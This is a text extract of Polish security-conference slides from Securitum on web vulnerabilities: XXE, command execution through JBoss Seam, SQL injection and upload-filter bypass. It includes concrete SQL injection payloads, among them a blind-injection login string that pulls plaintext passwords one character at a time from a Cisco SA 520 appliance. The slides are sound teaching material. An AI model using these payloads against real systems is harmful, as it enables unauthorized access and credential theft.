Nietypowe podatności w aplikacjach webowych Michał Sajdak, CISSP, CEH, CTT+ www.sekurak.pl
O Prelegencie Michał Sajdak <at> securitum.pl Testy bezpieczeństwa aplikacji Szkolenia z security - również dla testerów / programistów http://securitum.pl/ Copyright 2014 Securitum 2
Agenda Kilka błędów w Nuxeo Biblioteka JBoss Seam zdalne wykonanie kodu w OS Cisco Security Appliance: OS Exec + SQLi Omijanie filtrów upload XXE (XML external Entities) Info tylko w celach edukacyjnych! 3 Copyright 2014 Securitum
Nuxeo Content Management Platform for the Software-Defined Enterprise Copyright 2015 Securitum 4
Nuxeo The RPM (Release and Preservation Management) Department at EA uses the Nuxeo Platform to manage video game builds at all stages of the development lifecycle Using the Nuxeo Platform as a core server, Jeppesen, a Boeing company, syncs flight bag information to ipads for pilots across the world. Copyright 2015 Securitum 5
Nuxeo The Nuxeo Platform, offering strong support for SSO, along with a flexible content management platform, is the perfect addition to the US Navy s application portfolio. Orange manages communication with its mobile telecommunications and broadband internet provider clients through a secure extranet portal built on the Nuxeo Platform. Copyright 2015 Securitum 6
Nuxeo Historia Bugi załatane tego roku Zgłoszone przez: Michała Bentkowskiego i Sebastiana Gilon securitum.pl https://doc.nuxeo.com/display/admindoc/nuxeo+security+ Update+-+2015-02-27+-+Critical Bez szczegółów DEMO Copyright 2015 Securitum 7
Nuxeo historia Securitum: Hey, you got some nasty bugs in your platform. Here are the details. Nuxeo: Cool, these are definitely nice bugs! We ll prepare a patch soon! BTW: do you want something for reporting the bug? Securitum: no :-) Nuxeo: Do you drink from time to time? Securitum: Sometimes :P Nuxeo: Cool, we are sending 2 crates of vine to Poland 8
Nice bug bounty 9
XXE (XML external Entities) Mało znany problem ale dość istotny W 2013 roku Reginaldo Silva otrzymał w ramach bugbounty z Facebooka $33 500 RCE z wykorzystaniem XXE FB wypuścił patcha w 3.5h od zgłoszenia (!) Copyright 2014 Securitum 10
XXE (XML external Entities) Encje znany z HTML-a: < lub < < " ' & µ Ogólnie: &nazwa_encji; &#numer_encji; Copyright 2014 Securitum 11
Renderowanie encji w HTML W XML-u: działa to podobnie Copyright 2014 Securitum 12
XXE (XML external Entities) możemy definiować własne encje <!ENTITY name "value"> Copyright 2014 Securitum 13
Copyright 2014 Securitum 14
15
XXE (XML external Entities) Zobaczmy http://sekurak.pl/tag/xxe/ dwa artykuły jeden podstawowy, drugi bardziej zaawansowany. Copyright 2014 Securitum 16
OS Command Exec JBoss Seam Dość stara podatność Można w sposób nieuwierzytelniony wywołać instancje klas i dalej wołać metody W szczególności Runtime.exec( calc.exe ) Copyright 2014 Securitum 17
OS Command Exec JBoss Seam Na docelowych systemach możemy mieć różne wersje javy Więc należy w danym przypadku zlokalizować indeksy zadeklarowanych metod: public static java.lang.runtime java.lang.runtime.getruntime() Process java.lang.runtime.exec(java.lang.string) Copyright 2014 Securitum 18
OS Command Exec JBoss Seam Jeśli znajdziemy starego JBossa prawie gwarancja że mamy nieuwierzytelniony OS Command Exec Na systemach Windows często Administrator Podatne też inne javowe app servery De facto jest to błąd w bibliotece nie w app serverze.. Copyright 2014 Securitum 19
Zobaczmy OS Command Exec JBoss Seam Copyright 2014 Securitum 20
SQL injection http://site.pl/news.php?id=10 SELECT * FROM news WHERE id = 10 AND active = 1 http://site.pl/news.php?id=10%20or%201=1%23 SELECT * FROM news WHERE id = 10 OR 1=1# AND active = 1 Copyright 2015 Securitum 21
SQL injection http://site.pl/news.php?id=-1 UNION ALL SELECT user,password, NULL, NULL FROM users# SELECT * FROM news WHERE id = -1 UNION ALL SELECT user,password, NULL, NULL FROM users# AND active = 1 Copyright 2015 Securitum 22
SQL injection przykład na ekranie logowania Cisco Security Appliance (SA 520) $SQL = SELECT * FROM users WHERE login = $login AND password = $password Kontrolujemy login i hasło Zobaczmy co się stanie jeśli użyjemy jako login/password ciągu: or 1 = 1 $SQL = SELECT * FROM users WHERE login = or 1 = 1 AND password = or 1 = 1 Copyright 2015 Securitum 23
SQL injection przykład na ekranie logowania SA 500 Appliance $SQL = SELECT * FROM users WHERE login = or 1 = 1 AND password = or 1 = 1 Zwraca wszystkie wiersze z tabeli Użyjmy tego na SA500 Możemy tutaj użyć techniki blind SQL injection Copyright 2015 Securitum 24
SQL injection przykład na ekranie logowania SA 500 Cel chcemy pobrać wszystkie loginy i hasła (w plaintext) Copyright 2015 Securitum 25
SQL injection przykład na ekranie logowania Następne kroki Potrzebujemy znać typ bazy danych Potrzebujemy wiedzieć w jakiej tabeli przechowywane są dane o użytkownikach oraz: jak nazywają się kolumny przechowujące loginy / hasła Wszystkie te informacje mogą być uzyskane dzięki analizie whitebox Baza: SQLLite Nazwa tabeli: SSLVPNUsers Kolumny: Username / Password Copyright 2015 Securitum 26
SQL injection przykład na ekranie logowania Pełne zapytanie pobierające użytkowników / hasła wygląda tak: SELECT Username, Password FROM SSLVPNUsers Ale nie możemy tego użyć bezpośrednio Ekran logowania nie wyświetla nic poza komunikatami o błędach Copyright 2015 Securitum 27
SQL injection przykład na ekranie logowania Pobierzemy więc użytkowników hasła litera po literze Jak to zrobić? Potrzebujemy trochę praktyki z SQL ;-) Copyright 2015 Securitum 28
SQL injection przykład na ekranie logowania SELECT Password FROM SSLVPNUser LIMIT 1 OFFSET 0 Pobiera pierwsze hasło w bazie substr((select Password FROM SSLVPNUser LIMIT 1 OFFSET 0),1,1) Pobiera pierwszą literę pierwszego hasła w bazie Copyright 2015 Securitum 29
SQL injection przykład na ekranie logowania Nasz login będzie następujący: OR substr((select Password FROM SSLVPNUser LIMIT 1 OFFSET 0),1,1)= a -- Co skutkuje następującym zapytaniem: SELECT * FROM SSLVPNUser WHERE login = OR substr((select Password FROM SSLVPNUser LIMIT 1 OFFSET 0),1,1)= a -- AND password = $password Zwraca ono invalid username kiedy pierwsza litera hasła!= a Zwraca ono inny błąd kiedy pierwsza litera hasła = a Copyright 2015 Securitum 30
Upload / Apache omijanie filtrów Formularze zazwyczaj blokują upload plików wykonywalnych (np. php) Edytory wizualne Uploady CV Etc. Ale często stosują blacklisting Czyli uniemożliwiają upload plików z rozszerzeniem.php /.aspx / itd Copyright 2014 Securitum 31
Upload / Apache omijanie filtrów Zagadka W jaki sposób Apache HTTP server zinterpretuje plik: siekiera.jpg.php.wnk2j3.tralalala.sekurak Jako txt? Jako PHP? Jako jpg? Copyright 2014 Securitum 32
Copyright 2014 Securitum 33
Dziękuję za uwagę Pytania? Kontakt: michal.sajdak@securitum.pl Szkolenia Testy bezpieczeństwa aplikacji Copyright 2014 Securitum 34
35